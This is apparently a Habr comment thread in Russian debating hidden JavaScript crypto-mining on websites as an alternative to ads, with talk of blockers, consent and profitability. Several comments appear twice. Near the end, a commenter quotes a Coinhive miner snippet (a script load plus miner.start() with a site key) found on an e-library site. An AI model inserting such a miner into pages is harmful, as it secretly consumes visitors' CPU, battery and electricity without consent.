Т.е., имхо тут все точно так же, как и с монетизацией Телеграм: пока нет ответа на правомерный вопрос «откуда [будут] деньги, Зин?», доверять безоглядно таким проектам — просто глупо. А теперь еще и Розенберг разворошил гнездо, а до того Перекопский тоже много интересного наговорил.
> Тем более они делают это на CPU
Некоторые виды криптовалют эффективно майнятся только на CPU.
Некоторые виды криптовалют эффективно майнятся только на CPU.
НЛО прилетело и опубликовало эту надпись здесь
где флэша нет?
в файрфоксе с демандным флэшом очень хорошо видно, как его нет
в файрфоксе с демандным флэшом очень хорошо видно, как его нет
НЛО прилетело и опубликовало эту надпись здесь
я хз, кто и зачем пытается показывать флэш, но FF постоянно выдаёт запросы на включение
не рисует картинку почему-то prntscr.com/gq9waa
не рисует картинку почему-то prntscr.com/gq9waa
В целом идея с майнингом на сайте не такая и плохая при цивилизованном подходе. Для некоторых категорий ресурсов подойдет гораздо лучше рекламы. Проблема только в обеспечении цивилизованности. Было бы неплохо пользователю в браузере иметь возможность ограничивать ресурсы компьютера, которые отдаются для майнига или что-то похожее.
Проблема в том, что самые наглые в выигрыше будут. Те, кто не будет соблюдать меру и будет гнаться за одноразовой прибылью.
Те, кто гонится за одноразовой прибылью как раз таки проиграют в перспективе. Не потому что наглые, а потому что глупые =)
Вот.
Вот.
«Трагедия общин» же, в чистом виде практически.
Именно поэтому у пользователя должен быть удобный и понятный инструмент для контроля за выделением ресурсов под майнинг. Грубо говоря, пользователь может задать в браузере «всем сайтам выделять не более n процентов ресурсов на майнинг», избранным сайтам задать выше и т.д.
Уже 5-й год как пользуюсь плагином NoScript. Меня всё ещё можно называть параноиком?
Как вообще можно серфить интернет без js? Даже если, допустим, меню на сайте не работает, вы включаете js на всем сайте, со всеми баннерами и майнерами?
> Как вообще можно серфить интернет без js?
Да как-то без проблем. Просто вручную разрешаю только скрипты с определённых доменов — минимальное количество скриптов для функционирования сайта. В подавляющем большинстве случаев нежелательные скрипты грузятся со сторонних доменов, поэтому мой способ работает.
Ну и второй уровень защиты в виде ABP (с ручным же фильтрами) никто не отменял.
Да как-то без проблем. Просто вручную разрешаю только скрипты с определённых доменов — минимальное количество скриптов для функционирования сайта. В подавляющем большинстве случаев нежелательные скрипты грузятся со сторонних доменов, поэтому мой способ работает.
Ну и второй уровень защиты в виде ABP (с ручным же фильтрами) никто не отменял.
Ну так это именно что «серфить», проглядывать, не теряя время на эти скрипты и баннеры. А на интересных сайтах можно и задержаться, а то и рекламу посмотреть даже. :)
Земной поклон тем вебмастерам, которые строят все важные динамические вещи, типа меню, на голом CSS+HTML, позволяя просто наслаждаться контентом, ну а лучи диареи тем, кто использует особо упоротые шкуры для CMS, без скриптов показывающие только белый экран. %)
Земной поклон тем вебмастерам, которые строят все важные динамические вещи, типа меню, на голом CSS+HTML, позволяя просто наслаждаться контентом, ну а лучи диареи тем, кто использует особо упоротые шкуры для CMS, без скриптов показывающие только белый экран. %)
НЛО прилетело и опубликовало эту надпись здесь
А нельзя ли 90% того, что сейчас делается на JavaScript перенести в следующий стандарт HTML, а в новых версиях браузеров по умолчанию отключать JavaScript? Глядишь электроэнергии вполовину меньше потребляться будет, глобальное потепление отступит и смартфоны не нужно будет каждые 5 минут заряжать. У меня 99% вкладок в браузере — это текст, картинки и формы, для чего там JavaScript, жрущий гигабайты и гигагерцы? Плюс ну не научились многие во фронтенд сообществе искать максимальный элемент в массиве кроме как его сортировкой, причём сортируют сами и пузырьком, ну бывает. А тут ещё и майнеры… Ах да, я забыл, у нас же наоборот, JavaScript теперь ещё и в бэкэнде…
Плюс ну не научились многие во фронтенд сообществе искать максимальный элемент в массиве кроме как его сортировкой, причём сортируют сами и пузырьком, ну бывает.При чем тут это? Гомно-кодеры есть везде.
Ах да, я забыл, у нас же наоборот, JavaScript теперь ещё и в бэкэнде…И? Так можно рассуждать про все, что не ассемблер.
А тут ещё и майнеры…… которые написаны на WebAssembly
А нельзя ли 90% того, что сейчас делается на JavaScript перенести в следующий стандарт HTML, а в новых версиях браузеров по умолчанию отключать JavaScript?Нельзя. Динамичные страницы например это вообще сложная тема...
При чем тут это? Гомно-кодеры есть везде.
Но вот распределены они почему-то неравномерно. Надеюсь, Вы не будете спорить, в какой области их больше?
И? Так можно рассуждать про все, что не ассемблер.
Почитайте тут
А тут ещё и майнеры…
… которые написаны на WebAssembly
Значит по умлочанию блочим любой активный контент. Если пользователю реально нужен гавнокод на этой странице, он внесёт её в белый список.
Нельзя. Динамичные страницы например это вообще сложная тема…
Что-то мне подсказывает, что можно уложиться в десяток-другой типовых сценариев.
А нельзя ли 90% того, что сейчас делается на JavaScript перенести в следующий стандарт HTML
тогда это будет не htmL
и начнут на нём писать виртуалки и майнеры
Нужно просто скармливать страницы гугловскому пауку, он же JS обрабатывает, вот пусть майнит, тоже ведь нахаляву контент получает.
Если его вместо рекламы включат — будет печаль. На cnews с включенным adblocker-ом не зайдешь. Также поступят и с таким майнингом. Им без разницы с чего получать доход: с рекламы или с другим способом. И это только начало. Рядовые пользователи будут только за электричество платить.
Одна проблема — если сайт хочет 100% cpu то вопрос возникнет — а какого именно cpu? И что мешает владельцу i7 сказать что у него одноядерный атом (и шейпить соответственно)
www.cnews.ru — этот? А в чём проблема захода туда с блокировщиком?
думаю, что если в такие скрипты вставлять не коды майнеров, а коды расчетов математических и физических, полезных для науки. полезных для, например, NASA. будет польза для человечества. а не только какому-то предпренимателю
При должном контроле такого подхода все выглядит очень приятно.Например договорится что сайт нагружает ваш процессор на 10%, в некоторых случаях это даже менее ресурсозатратно чем реклама. НО мне кажется что такая тенденция просто поднимет цену на рекламу и все опять вернутся к старому подходу.
Что мне кажется действительно хорошей идеей, так это продажа софта за «криптовремя».Например я хочу себе лицензию adobe photoshop, платить не хочу, копания говорит мне ок держи лицензию, но мы будем майнить с твоего ПК до того момента пока не отработаем свои деньги.Так же добавить функцию регулировки нагрузки или выбора времени в которое программа будет майнить.В результате мой ПК по стоит пару ночей включённым, я получаю софт бесплатно, а разработчики получат свою прибыль.
Может пример с фотошопом не самый удачный, но продавать игры за «криптовпемя» можно спокойно, так как железо у геймеров достаточно неплохое.
Что мне кажется действительно хорошей идеей, так это продажа софта за «криптовремя».Например я хочу себе лицензию adobe photoshop, платить не хочу, копания говорит мне ок держи лицензию, но мы будем майнить с твоего ПК до того момента пока не отработаем свои деньги.Так же добавить функцию регулировки нагрузки или выбора времени в которое программа будет майнить.В результате мой ПК по стоит пару ночей включённым, я получаю софт бесплатно, а разработчики получат свою прибыль.
Может пример с фотошопом не самый удачный, но продавать игры за «криптовпемя» можно спокойно, так как железо у геймеров достаточно неплохое.
Скорее всего цены на такой майнинг сильно опустят, чтобы за лицензию платить не пару ночей, а несколько месяцев.
А сколько можно намайнить на пару ночей?
Вроде более или менее точная оценка — при майнинге на GPU на электричество уходит около 10% от заработанного. Так что за пару ночей на хорошей современной видеокарте можно намайнить рублей 10.
Чтобы намайнить gta 5 нужно манить месяц на нескольких видеокартах.
А можно ли сделать такое же, но чтобы использовались ресурсы видеокарты? Например, через WebGL? Возможно, будет менее заметно.
НЛО прилетело и опубликовало эту надпись здесь
Сайт coin-hive.com зарегистрирован у key-systems.net. А это германский провайдер.
Я думаю всё же поламали сайт, иначе скрипт удобней тянуть с другими ресурсами сайта.
Я думаю всё же поламали сайт, иначе скрипт удобней тянуть с другими ресурсами сайта.
Не можешь победить — возглавь!
Просто надо браузерам встроить систему с настройками для майнинга на конкретных сайтах ( как всплывающие сообщения).
Просто надо браузерам встроить систему с настройками для майнинга на конкретных сайтах ( как всплывающие сообщения).
Сайт.ru запрашивает возможность майнинга на ваших процессорах (50% загрузки) сроком на 1 час. Разрешить/Запретить.
Не пойму, почему все так переполошились. Не вижу разницы между этими майнерами и просто тормозным рекламным баннером — от обоих одинаковый результат в плане лагов, оба одинаково режутся noscript'ом или спаморезками — вобщем, ничего нового. Только этот в отличие от баннера не создает визуальное раздражение, если его не порезать.
Так чем все закончилось с этим сайтом? Они починили и выпилили майнер, или все по старому?
Лично мне бы очень хотелось, чтобы майнинг на JS был умерщвлён быстро, мучительно и без обсуждений. Майнинг, даже если он с благими целями, — это не задача браузера и я не буду предоставлять ресурсы своего ПК для подобной деятельности никому без исключения. Точка.
Тихий ужас для мобильников и планшетов, ладно десктопы и ноуты где можно поставить блокировщики,NoScript, прописать список dns в старом добром bind на роутере или в /etc/hosts.
На мобилке мало адекватных блокировщиков, без рута фиг настроишь iptables и dns, о майнинге узнаешь только тогда, когда батарея кончиться, посмотреть что напихал сайт в твой мобильный хром или лису сложновато без кое-каких инструментов. Так что ждем веселье для бедных пользователей смартфонов когда лагать будет даже оболочка.
Насколько мне известно, Chrome на мобильных сильно ограничивает потребление ресурсов для фоновых вкладок. Настолько, что сначала таймеры работают медленнее, а затем и вовсе всё отключается.
Сафари на мак-устройствах ставит фоновые вкладки на паузу. Лично столкнулся.
Пусть даже и ограничивает, одной активной вкладки с майнером и 5-и которые в фоне "приторможенные" один фиг могут посадить батарею, а обычный юзверь может открыть и все 20-50 вкладок (видел у жены брата и у своей матери).
Фанатам лиса даже на мобиле (вроде меня, подкупили режим чтения — он ИМХО удобен даже для хабра) походу точно придется страдать — и так не держу больше 10 вкладок а если с майнингом то вообще полный лисец будет.
Еще интересно как на этот майнер отреагируют старые устройства с устаревшим хромом или вообще стоковым webview который не хром (как на моей старой ZTE) учитывая что они бывают даже при звонках виснут уже.
Насчет прыжков по страницам. Во время пика популярности SPA этот скриптик выглядит еще привлекательнее.
Ghostery вообще не для этого, а RequestPolicy ломает 90% сайтов. Настраивать под каждый — ну его нафиг. Ublock рулит
Ghostery вообще не для этого, а RequestPolicy ломает 90% сайтов. Настраивать под каждый — ну его нафиг. Ublock решает.
Это как минимум неэтично по отношению к пользователям. Такие сайты банить надо или хотя бы поисковики должны снижать рейтинг в поиске.
А за рекламу почему не надо? Чем майнинг неэтичнее рекламы?
Дороже для пользователя
По электроэнергии?
Да, по электроэнергии. Ну и, наверное, неприятно держать на коленях раскаленный ноут. Да и батарею вмиг посадит.
По мне, так модель "вы нам ничего не платите, но мы тут будем втихую вами торговать" одинаково включает себя как большинство рекламы так и описанный в этой статье майнинг, и модель эта глубоко аморальна, и именно поэтому с ней стоит бороться.
Те же, кто печётся только об электроэнергии и прочих "потребительских качествах" и готовы были жрать рекламу, по-моему заслуживают и майнеров и вообще любых манипуляций над своими устройствами со стороны тех, кому они уже отдались.
по-моему заслуживают и майнеров и вообще любых манипуляцийА давайте вы не будете за других решать?
Я вот, например, не блокирую рекламу потому, что ни один из сайтов, которые я посещаю хотя бы раз в год, не использует дикое ее количество или слишком навязчивых баннеров (собственно, самый агрессивный в плане рекламы из посещаемых мной сайтов — хабр).
Но я категорически не согласен с тем, что тот факт, что я не блокирую рекламу, позволяет кому угодно майнить на моем ноуте, обжигая мне колени и уменьшая время работы от аккумулятора с полутора часов до 30-40 минут.
Вы просто закрываете глаза на механизм работы всей этой системы. Проследите направление денежных потоков и "одолжений" и всё станет очевидно. Владелец сайта так или иначе платит за его поддержку (арендуемый хостинг либо поддержка своего + разработка), владельцу сайта платят рекламодатели/майнеры.
В случае с майнерами всё очевидно — платите за их работу напрямую вы, деньгами за электричество и дискомфортом от перегретого ноута — это вы заметили и негодуете.
В случае с рекламодателями чуть сложнее — лично вы может и не платите, но так или иначе имеется расчёт на лоха, который поддастся рекламе и оплатит рекламодателю его расходы на рекламу, купив у него что-то. То есть, если не вдаваться в частности, то платят всё так же посетители сайта, просто более глупые (кто повёлся на рекламу) платят за всех.
Эту более сложную цепочку вы видимо до конца не проанализировали и поэтому не заметили всей её сути, которая ничем от майнеров не отличается, кроме, возможно, кпд.
Эту более сложную цепочку вы видимо до конца не проанализировалиНет, я замечательно проанализировал всю эту цепочку.
Я периодически покупаю что-нибудь после клика по рекламе — если она достаточно персонализирована, то умудряется предлагать полезные вещи. Это не говоря уже об опосредованной пользе в виде ускорения экономики.
Но, собственно, даже если и принять тезис о том, что реклама — это тоже дискомфорт для пользователя и своеобразный вид оплаты, каким образом это подтверждает первое утверждение
по-моему заслуживают и майнеров и вообще любых манипуляций над своими устройствами?
Это типа как «если вы согласны купить машину за наличные рубли, то, по-моему, вы заслуживаете того, чтобы у вас отобрали все доллары на счетах»
каким образом это подтверждает первое утверждение
Тут есть целых два обоснования.
1) Мне казалось, что когда кому-то что-то нужно, он не нуждается в рекламном подталкивании к покупке этой вещи, а сам её найдёт и выберет у кого собственно покупать. Вы же позволяете собой манипулировать, выбирать за вас что вам нужно (да, сами потом делаете итоговый отсев — это принять, это нет, но список составляете не вы), и называете это благом. Итого, раз вы согласны быть ведомым в данном взаимодействии, то не надо возмущаться, когда очередное решение "за вас" о ваших потребностях (дать вам майнер) вдруг выбилось из привычного ритма.
2) Участвуя в этой системе, толерантно к ней относясь, вы поддерживаете её не только для себя, а для всех. Потому как данная модель так называемой "монетизации" продолжает эксплуатироваться только потому, что есть такие пользователи, которые за неё платят, ходя по незапрошенным рекламам (иначе говоря, спаму). И если даже вам нравится такое положение дел, кому-то другому оно может не нравиться (и думаю многим), а вы находитесь в числе тех, кто это положение дел поддерживает. В конце концов, думаю можно заказать себе персонально пачку рекламных баннеров для просмотра (вдруг там что-то полезное прорекламируют) — денег с вас за это не возьмут, а может даже и дадут (за просмотр), совсем не обязательно провоцировать не-рекламные сайты на их размещение у себя в принудительном порядке.
Это типа как «если вы согласны купить машину за наличные рубли, то, по-моему, вы заслуживаете того, чтобы у вас отобрали все доллары на счетах»
Нет, этот пример совсем не в тему. Покупка чего-то за рубли это не негативное действие (по крайней мере в моём понимании). Но кому-то может и негативное — тогда да, он может захотеть отобрать счета в отместку.
1). Нет. Реклама позволяет мне узнать о новом товаре, о котором я раньше никогда не знал. Например: я хочу сходить с супругой поужинать в какое-нибудь место, где мы раньше не были. Но я не веду список ресторанов, где мы уже были и не слежу за открытиями новых заведений. Зато если я случайно увижу вывеску, которую раньше не замечал, вероятно, мы туда сходим. Или, например, в рассылке от LinkedIn я изредка нахожу вакансии, на которые требуется специалист с моими навыками на хорошую зарплату — вероятно, я схожу к ним на собеседование, даже если не планирую сейчас менять работу — мало ли, окажется что-то совсем замечательное.
В обоих этих случаях реклама решает вопрос более удобного ИНФОРМИРОВАНИЯ меня о существовании нового товара. По-вашему, разумный человек на моем месте должен постоянно мониторить весь рынок ресторанов и несколько раз в день искать в куче источников вакансии (не планируя сменить работу)?
И это не имеет ни малейшего отношения к вопросу принятия «за меня» какого-либо решения. Я против принятия решения «за меня» как в майнинге, так и при покупке какого-либо товара.
2). Реклама, вообще-то, решает очень важные общественные проблемы. Без нее мир был бы гораздо хуже.
Вот представьте себе: вы открыли ферму и хотите арбузы продавать. Сидите себе дома на 100 арбузах, а прибыли почему-то нет. Как прибыль получить? Нужно привлечь покупателя. Или вывеску сделать рядом с домом, или другу позвонить и предложить купить арбуз, или еще чего. И все это — виды рекламы. Без рекламы современная экономика просто не может существовать.
А пример тут очень даже в тему. Вы почему-то считаете, что раз я согласен на один способ оплаты (просмотр рекламы), причем осознанно (ибо с сайта с кучей баннеров я тупо уйду), то с какого-то перепугу я должен быть согласен и на другой способ оплаты (майнинг), причем без уведомления. В примере с автомобилем то же самое: я согласен лишь на один вид оплаты (наличные рубли), и лишь добровольно в пользу продавца автомобиля, а не на любой другой (безналичные доллары) в пользу третьих лиц без уведомления.
В обоих этих случаях реклама решает вопрос более удобного ИНФОРМИРОВАНИЯ меня о существовании нового товара. По-вашему, разумный человек на моем месте должен постоянно мониторить весь рынок ресторанов и несколько раз в день искать в куче источников вакансии (не планируя сменить работу)?
И это не имеет ни малейшего отношения к вопросу принятия «за меня» какого-либо решения. Я против принятия решения «за меня» как в майнинге, так и при покупке какого-либо товара.
2). Реклама, вообще-то, решает очень важные общественные проблемы. Без нее мир был бы гораздо хуже.
Вот представьте себе: вы открыли ферму и хотите арбузы продавать. Сидите себе дома на 100 арбузах, а прибыли почему-то нет. Как прибыль получить? Нужно привлечь покупателя. Или вывеску сделать рядом с домом, или другу позвонить и предложить купить арбуз, или еще чего. И все это — виды рекламы. Без рекламы современная экономика просто не может существовать.
А пример тут очень даже в тему. Вы почему-то считаете, что раз я согласен на один способ оплаты (просмотр рекламы), причем осознанно (ибо с сайта с кучей баннеров я тупо уйду), то с какого-то перепугу я должен быть согласен и на другой способ оплаты (майнинг), причем без уведомления. В примере с автомобилем то же самое: я согласен лишь на один вид оплаты (наличные рубли), и лишь добровольно в пользу продавца автомобиля, а не на любой другой (безналичные доллары) в пользу третьих лиц без уведомления.
1) Не уводите тему в сторону. Я ничего не говорил против абстрактных "вывесок" и против абстрактной рекламы вообще. Я говорил против рекламы в том формате, как она сейчас используется большинством сайтов. Информирование — норм, плохо когда оно реализуется в роли паразита к другим услугам.
По-вашему, разумный человек на моем месте должен постоянно мониторить весь рынок ресторанов и несколько раз в день искать в куче источников вакансии (не планируя сменить работу)?
Ну так когда захотите — откроете справочник по ресторанам/вакансиям и найдёте что надо, выбрав из всего списка вариантов, а не из того, что вам подсунули.
2) Про вывески — уже ответил.
в пользу третьих лиц без уведомления.
Дело не в уведомлении, а в предварительном согласии. Мне кажется, что даже если вас уведомят о конфискации ваших счетов, вы не станете от этого поддерживать данную затею. А вот если спросят заранее — не хотите ли пожертвовать? — тогда совсем другое дело. И пусть лично вы предварительное согласие на получение рекламы дали (хоть у вас никто и не спрашивал, но если вас это устраивает, то ок), то остальные могли и не давать, а им всё равно её впаривают.
1), 2). Принципиальной разницы между баннерами, вывесками и звонками другу нет — они все информируют. Я периодически заказываю новую пиццу чисто на попробовать, хожу на собеседования в компании, о которых ничего не знал, пока не увидел баннер о вакансии, заказываю банковские продукты и перехожу к другому интернет-провайдеру, если мне вдруг встречается что-то более эффективное (больше качество, ниже цена), чем то, чем я пользуюсь сейчас. А в свое время я сходил на тренинг к своему знакомому, опытному предпринимателю, узнав о том факте, что он его проводит, именно из баннера.
Вот пример выше с тренингом по предпринимательскому делу — я был очень давно заинтересован в том, чтобы послушать пару слов на эту тему от опытного человека, которому я доверяю, и за очень небольшие деньги. Только вот такого человека никогда не было, и каждый день опрашивать всех знакомых предпринимателей на эту тему было бы глупо. А увидев баннер, я узнал, что теперь в моей доступности появилась возможность воспользоваться такой услугой, что я с радостью и сделал.
А насчет последнего абзаца — да, проблема предварительного согласия существует, и я допускаю, что может существовать множество тех, кто согласия на просмотр рекламы не давал. Но, на мой взгляд, тот факт, что я дал согласие на просмотр рекламы (кстати, есть сайты, где у меня запросили такое согласие и я его явно дал — скажем, stackoverflow), никоим образом не означает, что я давал согласие на майнинг.
Единственное, с чем я спорю — это с фразой
когда захотите — откроете справочник по ресторанам/вакансиямЯ всегда хочу найти что-то более эффективное, чем то, что у меня есть на сегодняшний день, но обычно это более эффективное просто отсутствует на рынке, поэтому нет никакого смысла в ежедневном перерывании всех справочников. А реклама позволяет мне узнать о том, в какой справочник глядеть. Ибо без нее я «не знаю, чего я не знаю».
Вот пример выше с тренингом по предпринимательскому делу — я был очень давно заинтересован в том, чтобы послушать пару слов на эту тему от опытного человека, которому я доверяю, и за очень небольшие деньги. Только вот такого человека никогда не было, и каждый день опрашивать всех знакомых предпринимателей на эту тему было бы глупо. А увидев баннер, я узнал, что теперь в моей доступности появилась возможность воспользоваться такой услугой, что я с радостью и сделал.
А насчет последнего абзаца — да, проблема предварительного согласия существует, и я допускаю, что может существовать множество тех, кто согласия на просмотр рекламы не давал. Но, на мой взгляд, тот факт, что я дал согласие на просмотр рекламы (кстати, есть сайты, где у меня запросили такое согласие и я его явно дал — скажем, stackoverflow), никоим образом не означает, что я давал согласие на майнинг.
Единственное, с чем я спорю — это с фразой
заслуживают и майнеров и вообще любых манипуляций над своими устройствамиПусть каждый решает сам, что для него лучше, а что хуже. Для меня хуже майнинг.
а) Делают качественный контент и размещают рекламу, чтобы окупить траты.
б) Делают площадки для сбыта рекламного контента, под видом см. пункт а.
б) Делают площадки для сбыта рекламного контента, под видом см. пункт а.
PW7FI1VfOmLOORjnVtJqS62MdJTJFiOl — это кошелек ??
Где-то можно узнать сколько на него уже "накапало" ?
Это некий site key, выдаваемый пулом. Впрочем, в Monero баланс чужого кошелька увидеть тоже нельзя (если владелец не опубликовал свой view key), т.к. все транзакции шифруются.
Нет, это не кошелёк. Это публичный API ключ сайта на который встроен скрипт, который регается в системе. И там же добавляется ключ кошелька, но он гораздо длиннее и так его никто не увидит.
А мне нравится идея. Для некоторых сайтов она очень даже хороша: ютуб, онлайн фильмы и сериалы, возможно музыка, если добавить ограничение на мощность майнинга. Онлайн игры.
Согласитесь, если у вас просто так простаивает CPU, и у вас есть выбор посмотреть фильм с майнером, вместо раздражающей рекламы, то это неплохой вариант. Главное чтобы там была галочка мол "Я согласен что отдаю процессорную мощность" чтобы майнер включался только с разрешения.
Вдобавок в статье не сказано про функционал предоставляемый этим же сервисом:
- Captcha, которая работает на Proof-of-work — вместо "Выберите все знаки, чтобы доказать что вы не робот" вы говорите "помайни 1024 хеша"(например) — как итог — спаммерам невыгодно, а пользователям не приходится "Выбирать все изображения на которых изображены Дорожные Знаки/Вывески магазинов".
- ShortLink — вместо шортлинка с рекламой — шортлинк с майнером. Тут смешанные чувства. Кому как удобнее.
- Ну и сам майнер. Да он майнит в бекграунде, и это плохо. Но: у него настраивается количество ядер для майнинга, у него есть "учёт" хешей намайненых пользователем. Как результат: можно настроить "оплату" контента сайта в хешах. Например минута видео 2048 хешей. После этого майнер останавливается/считает хеши для следующей минуты.
Я считаю это хорошей альтернативы для некоторых сайтов(про окупаемость молчу. Далеко не везде окупится + цены маленькие), потому что иногда загрузка CPU лучше AdWall'ов.
ИМХО: Идея хорошая, но пока ещё сырая. Как добавят возможность частичной загрузки процессора, чтобы не отжирать весь CPU на 50 вкладок и сайты начнут делать ограничения хешей на пользователя — это будет лишь раздражать
Будь майнинг повыгоднее — да, это было бы разумно для оплаты всяких онлайн-видео. Сейчас же даже на хорошей видеокарте (AMD Radeon RX 580 — high end последнего поколения) при 100% загрузке получится намайнить около 20 рублей в сутки. А на CPU там вообще что-то с трудом поддающееся подсчету.
Поэтому coinhive использует Monero — с ним выходная, мощность у видеокарты всего ~ в 2 раза больше чем у процессора
Да с monero примерно то же самое получается. Топовый серверный процессор может выдать порядка 100 рублей в сутки. Много ли смогут намайнить пользователи на своих ноутах? На покупку игры или серии сериала придется майнить неделями, если не месяцами.
Уже пару раз говорилось, но все же. Мне удобней будет если сайт будет майнить, нежели показывать шок-контент. Но при условии, что проц не будет захлебываться. Вообщем я, За, развитие этой отрасли, монетизации.
Можно в цифрах: как это не захлёбываться, 60% или 90%?
Ну к примеру если я смотрю(ищу) какой нибудь сериал, то мне впринципе в это время не нужны все 100% возможностей проца, так пусть например половину заберет майнер, но я за то не буду смотреть на рекламу, препарата, который помог кому то там похудеть за 2 дня и отрастить хозяйство до колен.
А так вроде бы и сервису даешь возможность подзаработать и мне ничего не мешает.
p.s. это при условии, что я только смотрю(ищу) сериал, и больше ничего не делаю.
Было бы наверно не плохо если бы перед просмотром фильма открывалось окном, в котором у меня спрашивали «Разрешаю ли я запуск майнера на время просмотра фильма?»
А так вроде бы и сервису даешь возможность подзаработать и мне ничего не мешает.
p.s. это при условии, что я только смотрю(ищу) сериал, и больше ничего не делаю.
Было бы наверно не плохо если бы перед просмотром фильма открывалось окном, в котором у меня спрашивали «Разрешаю ли я запуск майнера на время просмотра фильма?»
Майнинг не бесплатен, вы расплатитесь в конечном итоге реальными деньгами за потраченное электричество! Не проще ли тогда просто оплачивать контент напрямую?
И спору нет, что оформить месячную подписку — проще.
Но есть проблема, не на всех сайтах с подпиской есть те сериалы/фильмы которые я хочу смотреть. Так как такие сайты в основном покупают лицензию только на самые популярные сериалы/фильмы.
Да и дело то даже не в этом. Тут дело в выборе меньшего из двух зол(это при условии, что я хочу помочь данному сервису, например потому, что у него хороший функционал и я не хочу, чтобы он закрылся)
— смотреть на рекламу с шок-контентом
— разрешить майнинг
То в этой ситуации я бы выбрал второе.
Но есть проблема, не на всех сайтах с подпиской есть те сериалы/фильмы которые я хочу смотреть. Так как такие сайты в основном покупают лицензию только на самые популярные сериалы/фильмы.
Да и дело то даже не в этом. Тут дело в выборе меньшего из двух зол(это при условии, что я хочу помочь данному сервису, например потому, что у него хороший функционал и я не хочу, чтобы он закрылся)
— смотреть на рекламу с шок-контентом
— разрешить майнинг
То в этой ситуации я бы выбрал второе.
Майнинг — получается обычный донат, что мешает сразу заплатить 10$ за год и не парится майнерами? Примерно такой выхлоп будет от майнинга в ЛУЧШЕМ случае для сайта, а затраты на электричество с вашей стороны и того больше + неудобства с постоянной загрузкой процессора и необходимостью держать компьютер включенным, отключив все энергосберегающие технологии.
Уважаемый, подождите, щас всё устроим!
Однако здесь встаёт всегда вопрос о том, сколько мощности я могу использовать (о чем выше упоминал bopoh13), я собственно тоже не против был бы отдавать свою вычислительную мощность, но с условием что комп не врубает вентилятор для охлаждения (по непонятной причине у меня начинается нервный тик).
Раз уж был комментарий о отраслях монетизации, то я за старую не таргетированную рекламу (а то дико бесит на сайте с рецептами видеть рекламу JetBrains, который и так уже приобретен)
Однако здесь встаёт всегда вопрос о том, сколько мощности я могу использовать (о чем выше упоминал bopoh13), я собственно тоже не против был бы отдавать свою вычислительную мощность, но с условием что комп не врубает вентилятор для охлаждения (по непонятной причине у меня начинается нервный тик).
Раз уж был комментарий о отраслях монетизации, то я за старую не таргетированную рекламу (а то дико бесит на сайте с рецептами видеть рекламу JetBrains, который и так уже приобретен)
del
Обнаружил загрузку процессора 100% в момент серфинга для написания научной работы. Заглянул в код и увидел странный скрипт:
Самое смешное, что это корявый сайт электронной библиотеки. Хром был доволен, сайт висел пару часов, пока не зашумел куллер cpu.
Сайт:http://www.info-library.com.ua/
Script
src=«coin-hive.com/lib/coinhive.min.js»
var miner = new CoinHive.User('FAHWUn8ElGwSvAvLLK03guaCaQmHQi2m', 'lib');
miner.start();
var miner = new CoinHive.User('FAHWUn8ElGwSvAvLLK03guaCaQmHQi2m', 'lib');
miner.start();
Самое смешное, что это корявый сайт электронной библиотеки. Хром был доволен, сайт висел пару часов, пока не зашумел куллер cpu.
Сайт:http://www.info-library.com.ua/
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
Скрытый JS-майнинг криптовалюты на сайте: альтернатива рекламе или новая чума